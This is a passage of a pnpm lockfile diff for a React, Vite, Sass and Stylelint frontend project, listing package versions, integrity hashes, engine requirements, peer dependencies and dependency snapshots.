sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==} + + normalize-path@3.0.0: + resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} + engines: {node: '>=0.10.0'} + + object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + + parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + + parse-json@5.2.0: + resolution: {integrity: sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==} + engines: {node: '>=8'} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + + picomatch@4.0.3: + resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} + engines: {node: '>=12'} + + postcss-media-query-parser@0.2.3: + resolution: {integrity: sha512-3sOlxmbKcSHMjlUXQZKQ06jOswE7oVkXPxmZdoB1r5l0q6gTFTQSHxNxOrCccElbW7dxNytifNEo8qidX2Vsig==} + + postcss-resolve-nested-selector@0.1.6: + resolution: {integrity: sha512-0sglIs9Wmkzbr8lQwEyIzlDOOC9bGmfVKcJTaxv3vMmd3uo4o4DerC3En0bnmgceeql9BfC8hRkp7cg0fjdVqw==} + + postcss-safe-parser@7.0.1: + resolution: {integrity: sha512-0AioNCJZ2DPYz5ABT6bddIqlhgwhpHZ/l65YAYo0BCIn0xiDpsnTHz0gnoTGk0OXZW0JRs+cDwL8u/teRdz+8A==} + engines: {node: '>=18.0'} + peerDependencies: + postcss: ^8.4.31 + + postcss-scss@4.0.9: + resolution: {integrity: sha512-AjKOeiwAitL/MXxQW2DliT28EKukvvbEWx3LBmJIRN8KfBGZbRTxNYW0kSqi1COiTZ57nZ9NW06S6ux//N1c9A==} + engines: {node: '>=12.0'} + peerDependencies: + postcss: ^8.4.29 + + postcss-selector-parser@7.1.1: + resolution: {integrity: sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==} + engines: {node: '>=4'} + + postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} + + postcss@8.5.6: + resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==} + engines: {node: ^10 || ^12 || >=14} + + prop-types@15.8.1: + resolution: {integrity: sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==} + + proxy-from-env@1.1.0: + resolution: {integrity: sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==} + + qified@0.6.0: + resolution: {integrity: sha512-tsSGN1x3h569ZSU1u6diwhltLyfUWDp3YbFHedapTmpBl0B3P6U3+Qptg7xu+v+1io1EwhdPyyRHYbEw0KN2FA==} + engines: {node: '>=20'} + + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + + react-dom@19.2.4: + resolution: {integrity: sha512-AXJdLo8kgMbimY95O2aKQqsz2iWi9jMgKJhRBAxECE4IFxfcazB2LmzloIoibJI3C12IlY20+KFaLv+71bUJeQ==} + peerDependencies: + react: ^19.2.4 + + react-error-boundary@6.1.0: + resolution: {integrity: sha512-02k9WQ/mUhdbXir0tC1NiMesGzRPaCsJEWU/4bcFrbY1YMZOtHShtZP6zw0SJrBWA/31H0KT9/FgdL8+sPKgHA==} + peerDependencies: + react: ^18.0.0 || ^19.0.0 + + react-icons@5.5.0: + resolution: {integrity: sha512-MEFcXdkP3dLo8uumGI5xN3lDFNsRtrjbOEKDLD7yv76v4wpnEq2Lt2qeHaQOr34I/wPN3s3+N08WkQ+CW37Xiw==} + peerDependencies: + react: '*' + + react-is@16.13.1: + resolution: {integrity: sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==} + + react-refresh@0.18.0: + resolution: {integrity: sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==} + engines: {node: '>=0.10.0'} + + react-router-dom@7.13.0: + resolution: {integrity: sha512-5CO/l5Yahi2SKC6rGZ+HDEjpjkGaG/ncEP7eWFTvFxbHP8yeeI0PxTDjimtpXYlR3b3i9/WIL4VJttPrESIf2g==} + engines: {node: '>=20.0.0'} + peerDependencies: + react: '>=18' + react-dom: '>=18' + + react-router@7.13.0: + resolution: {integrity: sha512-PZgus8ETambRT17BUm/LL8lX3Of+oiLaPuVTRH3l1eLvSPpKO3AvhAEb5N7ihAFZQrYDqkvvWfFh9p0z9VsjLw==} + engines: {node: '>=20.0.0'} + peerDependencies: + react: '>=18' + react-dom: '>=18' + peerDependenciesMeta: + react-dom: + optional: true + + react-use-measure@2.1.7: + resolution: {integrity: sha512-KrvcAo13I/60HpwGO5jpW7E9DfusKyLPLvuHlUyP5zqnmAPhNc6qTRjUQrdTADl0lpPpDVU2/Gg51UlOGHXbdg==} + peerDependencies: + react: '>=16.13' + react-dom: '>=16.13' + peerDependenciesMeta: + react-dom: + optional: true + + react@19.2.4: + resolution: {integrity: sha512-9nfp2hYpCwOjAN+8TZFGhtWEwgvWHXqESH8qT89AT/lWklpLON22Lc8pEtnpsZz7VmawabSU0gCjnj8aC0euHQ==} + engines: {node: '>=0.10.0'} + + readdirp@4.1.2: + resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==} + engines: {node: '>= 14.18.0'} + + reduce-css-calc@1.3.0: + resolution: {integrity: sha512-0dVfwYVOlf/LBA2ec4OwQ6p3X9mYxn/wOl2xTcLwjnPYrkgEfPx3VI4eGCH3rQLlPISG5v9I9bkZosKsNRTRKA==} + + reduce-function-call@1.0.3: + resolution: {integrity: sha512-Hl/tuV2VDgWgCSEeWMLwxLZqX7OK59eU1guxXsRKTAyeYimivsKdtcV4fu3r710tpG5GmDKDhQ0HSZLExnNmyQ==} + + require-from-string@2.0.2: + resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} + engines: {node: '>=0.10.0'} + + resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + + reusify@1.1.0: + resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + + robust-predicates@3.0.2: + resolution: {integrity: sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg==} + + rolldown-vite@7.2.5: + resolution: {integrity: sha512-u09tdk/huMiN8xwoiBbig197jKdCamQTtOruSalOzbqGje3jdHiV0njQlAW0YvzoahkirFePNQ4RYlfnRQpXZA==} + engines: {node: ^20.19.0 || >=22.12.0} + hasBin: true + peerDependencies: + '@types/node': ^20.19.0 || >=22.12.0 + esbuild: ^0.25.0 + jiti: '>=1.21.0' + less: ^4.0.0 + sass: ^1.70.0 + sass-embedded: ^1.70.0 + stylus: '>=0.54.8' + sugarss: ^5.0.0 + terser: ^5.16.0 + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + '@types/node': + optional: true + esbuild: + optional: true + jiti: + optional: true + less: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + tsx: + optional: true + yaml: + optional: true + + rolldown@1.0.0-beta.50: + resolution: {integrity: sha512-JFULvCNl/anKn99eKjOSEubi0lLmNqQDAjyEMME2T4CwezUDL0i6t1O9xZsu2OMehPnV2caNefWpGF+8TnzB6A==} + engines: {node: ^20.19.0 || >=22.12.0} + hasBin: true + + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + + sass@1.97.3: + resolution: {integrity: sha512-fDz1zJpd5GycprAbu4Q2PV/RprsRtKC/0z82z0JLgdytmcq0+ujJbJ/09bPGDxCLkKY3Np5cRAOcWiVkLXJURg==} + engines: {node: '>=14.0.0'} + hasBin: true + + scheduler@0.27.0: + resolution: {integrity: sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==} + + semver@6.3.1: + resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} + hasBin: true + + set-cookie-parser@2.7.2: + resolution: {integrity: sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==} + + signal-exit@4.1.0: + resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} + engines: {node: '>=14'} + + slash@5.1.0: + resolution: {integrity: sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==} + engines: {node: '>=14.16'} + + slice-ansi@4.0.0: + resolution: {integrity: sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==} + engines: {node: '>=10'} + + sonner@2.0.7: + resolution: {integrity: sha512-W6ZN4p58k8aDKA4XPcx2hpIQXBRAgyiWVkYhT7CvK6D3iAu7xjvVyhQHg2/iaKJZ1XVJ4r7XuwGL+WGEK37i9w==} + peerDependencies: + react: ^18.0.0 || ^19.0.0 || ^19.0.0-rc + react-dom: ^18.0.0 || ^19.0.0 || ^19.0.0-rc + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + string-width@4.2.3: + resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} + + string-width@8.1.1: + resolution: {integrity: sha512-KpqHIdDL9KwYk22wEOg/VIqYbrnLeSApsKT/bSj6Ez7pn3CftUiLAv2Lccpq1ALcpLV9UX1Ppn92npZWu2w/aw==} + engines: {node: '>=20'} + + strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + + strip-ansi@7.1.2: + resolution: {integrity: sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==} + engines: {node: '>=12'} + + stylelint-config-prettier-scss@1.0.0: + resolution: {integrity: sha512-Gr2qLiyvJGKeDk0E/+awNTrZB/UtNVPLqCDOr07na/sLekZwm26Br6yYIeBYz3ulsEcQgs5j+2IIMXCC+wsaQA==} + engines: {node: 14.* || 16.* || >= 18} + hasBin: true + peerDependencies: + stylelint: '>=15.0.0' + + stylelint-config-recommended-scss@17.0.0: + resolution: {integrity: sha512-VkVD9r7jfUT/dq3mA3/I1WXXk2U71rO5wvU2yIil9PW5o1g3UM7Xc82vHmuVJHV7Y8ok5K137fmW5u3HbhtTOA==} + engines: {node: '>=20'} + peerDependencies: + postcss: ^8.3.3 + stylelint: ^17.0.0 + peerDependenciesMeta: + postcss: + optional: true + + stylelint-config-recommended@18.0.0: + resolution: {integrity: sha512-mxgT2XY6YZ3HWWe3Di8umG6aBmWmHTblTgu/f10rqFXnyWxjKWwNdjSWkgkwCtxIKnqjSJzvFmPT5yabVIRxZg==} + engines: {node: '>=20.19.0'} + peerDependencies: + stylelint: ^17.0.0 + + stylelint-config-standard-scss@17.0.0: + resolution: {integrity: sha512-uLJS6xgOCBw5EMsDW7Ukji8l28qRoMnkRch15s0qwZpskXvWt9oPzMmcYM307m9GN4MxuWLsQh4I6hU9yI53cQ==} + engines: {node: '>=20'} + peerDependencies: + postcss: ^8.3.3 + stylelint: ^17.0.0 + peerDependenciesMeta: + postcss: + optional: true + + stylelint-config-standard@40.0.0: + resolution: {integrity: sha512-EznGJxOUhtWck2r6dJpbgAdPATIzvpLdK9+i5qPd4Lx70es66TkBPljSg4wN3Qnc6c4h2n+WbUrUynQ3fanjHw==} + engines: {node: '>=20.19.0'} + peerDependencies: + stylelint: ^17.0.0 + + stylelint-scss@7.0.0: + resolution: {integrity: sha512-H88kCC+6Vtzj76NsC8rv6x/LW8slBzIbyeSjsKVlS+4qaEJoDrcJR4L+8JdrR2ORdTscrBzYWiiT2jq6leYR1Q==} + engines: {node: '>=20.19.0'} + peerDependencies: + stylelint: ^16.8.2 || ^17.0.0 + + stylelint@17.1.1: + resolution: {integrity: sha512-SBHVcLEcRF1M9OkD3oT0hT2PayDNLw2hd+aovmzfNQ2ys4Xd3oS9ZNizILWqhQvW802AqKN/vUTMwJqQYMBlWw==} + engines: {node: '>=20.19.0'} + hasBin: true + + supports-color@10.2.2: + resolution: {integrity: sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==} + engines: {node: '>=18'} + + supports-hyperlinks@4.4.0: + resolution: {integrity: sha512-UKbpT93hN5Nr9go5UY7bopIB9YQlMz9nm/ct4IXt/irb5YRkn9WaqrOBJGZ5Pwvsd5FQzSVeYlGdXoCAPQZrPg==} + engines: {node: '>=20'} + + svg-tags@1.0.0: + resolution: {integrity: sha512-ovssysQTa+luh7A5Weu3Rta6FJlFBBbInjOh722LIt6klpU2/HtdUbszju/G4devcvk8PGt7FCLv5wftu3THUA==} + + table@6.9.0: + resolution: {integrity: sha512-9kY+CygyYM6j02t5YFHbNz2FN5QmYGv9zAjVp4lCDjlCw7amdckXlEt/bjMhUIfj4ThGRE4gCUH5+yGnNuPo5A==} + engines: {node: '>=10.0.0'} + + tinyglobby@0.2.15: + resolution: {integrity: sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==} + engines: {node: '>=12.0.0'} + + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + + tsconfck@3.1.6: + resolution: {integrity: sha512-ks6Vjr/jEw0P1gmOVwutM3B7fWxoWBL2KRDb1JfqGVawBmO5UsvmWOQFGHBPl5yxYz4eERr19E6L7NMv+Fej4w==} + engines: {node: ^18 || >=20} + hasBin: true + peerDependencies: + typescript: ^5.0.0 + peerDependenciesMeta: + typescript: + optional: true + + tslib@2.8.1: + resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==} + + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + + undici-types@7.16.0: + resolution: {integrity: sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==} + + unicorn-magic@0.4.0: + resolution: {integrity: sha512-wH590V9VNgYH9g3lH9wWjTrUoKsjLF6sGLjhR4sH1LWpLmCOH0Zf7PukhDA8BiS7KHe4oPNkcTHqYkj7SOGUOw==} + engines: {node: '>=20'} + + update-browserslist-db@1.2.3: + resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + + util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + + vite-tsconfig-paths@6.1.0: + resolution: {integrity: sha512-kpd3sY9glHIDaq4V/Tlc1Y8WaKtutoc3B525GHxEVKWX42FKfQsXvjFOemu1I8VIN8pNbrMLWVTbW79JaRUxKg==} + peerDependencies: + vite: '*' + + which@1.3.1: + resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==} + hasBin: true + + write-file-atomic@7.0.0: + resolution: {integrity: sha512-YnlPC6JqnZl6aO4uRc+dx5PHguiR9S6WeoLtpxNT9wIG+BDya7ZNE1q7KOjVgaA73hKhKLpVPgJ5QA9THQ5BRg==} + engines: {node: ^20.17.0 || >=22.9.0} + + yallist@3.1.1: + resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} + + zod@4.3.6: + resolution: {integrity: sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==} + + zustand@5.0.11: + resolution: {integrity: sha512-fdZY+dk7zn/vbWNCYmzZULHRrss0jx5pPFiOuMZ/5HJN6Yv3u+1Wswy/4MpZEkEGhtNH+pwxZB8OKgUBPzYAGg==} + engines: {node: '>=12.20.0'} + peerDependencies: + '@types/react': '>=18.0.0' + immer: '>=9.0.6' + react: '>=18.0.0' + use-sync-external-store: '>=1.2.0' + peerDependenciesMeta: + '@types/react': + optional: true + immer: + optional: true + react: + optional: true + use-sync-external-store: + optional: true + +snapshots: + + '@babel/code-frame@7.29.0': + dependencies: + '@babel/helper-validator-identifier': 7.28.5 + js-tokens: 4.0.0 + picocolors: 1.1.1 + + '@babel/compat-data@7.29.0': {} + + '@babel/core@7.29.0': + dependencies: + '@babel/code-frame': 7.29.0 + '@babel/generator': 7.29.1 + '@babel/helper-compilation-targets': 7.28.6 + '@babel/helper-module-transforms': 7.28.6(@babel/core@7.29.0) + '@babel/helpers': 7.28.6 + '@babel/parser': 7.29.0 + '@babel/template': 7.28.6 + '@babel/traverse': 7.29.0 + '@babel/types': 7.29.0 + '@jridgewell/remapping': 2.3.5 + convert-source-map: 2.0.0 + debug: 4.4.3 + gensync: 1.0.0-beta.2 + json5: 2.2.3 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + '@babel/generator@7.29.1': + dependencies: + '@babel/parser': 7.29.0 + '@babel/types': 7.29.0 + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + jsesc: 3.1.0 + + '@babel/helper-compilation-targets@7.28.6': + dependencies: + '@babel/compat-data': 7.29.0 + '@babel/helper-validator-option': 7.27.1 + browserslist: 4.28.1 + lru-cache: 5.1.1 + semver: 6.3.1 + + '@babel/helper-globals@7.28.0': {} + + '@babel/helper-module-imports@7.28.6': + dependencies: + '@babel/traverse': 7.29.0 + '@babel/types': 7.29.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-module-transforms@7.28.6(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-module-imports': 7.28.6 + '@babel/helper-validator-identifier': 7.28.5 + '@babel/traverse': 7.29.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-plugin-utils@7.28.6': {} + + '@babel/helper-string-parser@7.27.1': {} + + '@babel/helper-validator-identifier@7.28.5': {} + + '@babel/helper-validator-option@7.27.1': {} + + '@babel/helpers@7.28.6': + dependencies: + '@babel/template': 7.28.6 + '@babel/types': 7.29.0 + + '@babel/parser@7.29.0': + dependencies: + '@babel/types': 7.29.0 + + '@babel/plugin-transform-react-jsx-self@7.27.1(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-plugin-utils': 7.28.6 + + '@babel/plugin-transform-react-jsx-source@7.27.1(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-plugin-utils': 7.28.6 + + '@babel/template@7.28.6': + dependencies: + '@babel/code-frame': 7.29.0 + '@babel/parser': 7.29.0 + '@babel/types': 7.29.0 + + '@babel/traverse@7.29.0': + dependencies: + '@babel/code-frame': 7.29.0 + '@babel/generator': 7.29.1 + '@babel/helper-globals': 7.28.0 + '@babel/parser': 7.29.0 + '@babel/template': 7.28.6 + '@babel/types': 7.29.0 + debug: 4.4.3 + transitivePeerDependencies: + - supports-color + + '@babel/types@7.29.0': + dependencies: + '@babel/helper-string-parser': 7.27.1 + '@babel/helper-validator-identifier': 7.28.5 + + '@biomejs/biome@2.3.14': + optionalDependencies: + '@biomejs/cli-darwin-arm64': 2.3.14 + '@biomejs/cli-darwin-x64': 2.3.14 + '@biomejs/cli-linux-arm64': 2.3.14 + '@biomejs/cli-linux-arm64-musl': 2.3.14 + '@biomejs/cli-linux-x64': 2.3.14 + '@biomejs/cli-linux-x64-musl': 2.3.14 + '@biomejs/cli-win32-arm64': 2.3.14 + '@biomejs/cli-win32-x64': 2.3.14 + + '@biomejs/cli-darwin-arm64@2.3.14': + optional: true + + '@biomejs/cli-darwin-x64@2.3.14': + optional: true + + '@biomejs/cli-linux-arm64-musl@2.3.14': + optional: true + + '@biomejs/cli-linux-arm64@2.3.14': + optional: true + + '@biomejs/cli-linux-x64-musl@2.3.14': + optional: true + + '@biomejs/cli-linux-x64@2.3.14': {} + + '@biomejs/cli-win32-arm64@2.3.14': + optional: true + + '@biomejs/cli-win32-x64@2.3.14': + optional: true + + '@cacheable/memory@2.0.7': + dependencies: + '@cacheable/utils': 2.3.4 + '@keyv/bigmap': 1.3.1(keyv@5.6.0) + hookified: 1.15.1 + keyv: 5.6.0 + + '@cacheable/utils@2.3.4': + dependencies: + hashery: 1.4.0 + keyv: 5.6.0 + + '@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0)': + dependencies: + '@csstools/css-tokenizer': 4.0.0 + + '@csstools/css-syntax-patches-for-csstree@1.0.26': {} + + '@csstools/css-tokenizer@4.0.0': {} + + '@csstools/media-query-list-parser@5.0.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)': + dependencies: + '@csstools/css-parser-algorithms': 4.0.0(@csstools/css-tokenizer@4.0.0) + '@csstools/css-tokenizer': 4.0.0 + + '@csstools/selector-resolve-nested@4.0.0(postcss-selector-parser@7.1.1)': + dependencies: + postcss-selector-parser: 7.1.1 + + '@csstools/selector-specificity@6.0.0(postcss-selector-parser@7.1.1)': + dependencies: + postcss-selector-parser: 7.1.1 + + '@emnapi/core@1.8.1': + dependencies: + '@emnapi/wasi-threads': 1.1.0 + tslib: 2.8.1 + optional: true + + '@emnapi/runtime@1.8.1': + dependencies: + tslib: 2.8.1 + optional: true + + '@emnapi/wasi-threads@1.1.0': + dependencies: + tslib: 2.8.1 + optional: true + + '@jridgewell/gen-mapping@0.3.13': + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/remapping@2.3.5': + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.31': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@keyv/bigmap@1.3.1(keyv@5.6.0)': + dependencies: + hashery: 1.4.0 + hookified: 1.15.1 + keyv: 5.6.0 + + '@keyv/serialize@1.1.1': {} + + '@napi-rs/wasm-runtime@1.1.1': + dependencies: + '@emnapi/core': 1.8.1 + '@emnapi/runtime': 1.8.1 + '@tybys/wasm-util': 0.10.1 + optional: true + + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.20.1 + + '@oxc-project/runtime@0.97.0': {} + + '@oxc-project/types@0.97.0': {} + + '@parcel/watcher-android-arm64@2.5.6': + optional: true + + '@parcel/watcher-darwin-arm64@2.5.6': + optional: true + + '@parcel/watcher-darwin-x64@2.5.6': + optional: true + + '@parcel/watcher-freebsd-x64@2.5.6': + optional: true + + '@parcel/watcher-linux-arm-glibc@2.5.6': + optional: true + + '@parcel/watcher-linux-arm-musl@2.5.6': + optional: true + + '@parcel/watcher-linux-arm64-glibc@2.5.6': + optional: true + + '@parcel/watcher-linux-arm64-musl@2.5.6': + optional: true + + '@parcel/watcher-linux-x64-glibc@2.5.6': + optional: true + + '@parcel/watcher-linux-x64-musl@2.5.6': + optional: true + + '@parcel/watcher-win32-arm64@2.5.6': + optional: true + + '@parcel/watcher-win32-ia32@2.5.6': + optional: true + + '@parcel/watcher-win32-x64@2.5.6': + optional: true + + '@parcel/watcher@2.5.6': + dependencies: + detect-libc: 2.1.2 + is-glob: 4.0.3 + node-addon-api: 7.1.1 + picomatch: 4.0.3 + optionalDependencies: + '@parcel/watcher-android-arm64': 2.5.6 + '@parcel/watcher-darwin-arm64': 2.5.6 + '@parcel/watcher-darwin-x64': 2.5.6 + '@parcel/watcher-freebsd-x64': 2.5.6 + '@parcel/watcher-linux-arm-glibc': 2.5.6 + '@parcel/watcher-linux-arm-musl': 2.5.6 + '@parcel/watcher-linux-arm64-glibc': 2.5.6 + '@parcel/watcher-linux-arm64-musl': 2.5.6 + '@parcel/watcher-linux-x64-glibc': 2.5.6 + '@parcel/watcher-linux-x64-musl': 2.5.6 + '@parcel/watcher-win32-arm64': 2.5.6 + '@parcel/watcher-win32-ia32': 2.5.6 + '@parcel/watcher-win32-x64': 2.5.6 + optional: true + + '@react-spring/animated@9.7.5(react@19.2.4)': + dependencies: + '@react-spring/shared': 9.7.5(react@19.2.4) + '@react-spring/types': 9.7.5 + react: 19.2.4 + + '@react-spring/core@9.7.5(react@19.2.4)': + dependencies: + '@react-spring/animated': 9.7.5(react@19.2.4) + '@react-spring/shared': 9.7.5(react@19.2.4) + '@react-spring/types': 9.7.5 + react: 19.2.4 + + '@react-spring/rafz@9.7.5': {} + + '@react-spring/shared@9.7.5(react@19.2.4)': + dependencies: + '@react-spring/rafz': 9.7.5 + '@react-spring/types': 9.7.5 + react: 19.2.4 + + '@react-spring/types@9.7.5': {} + + 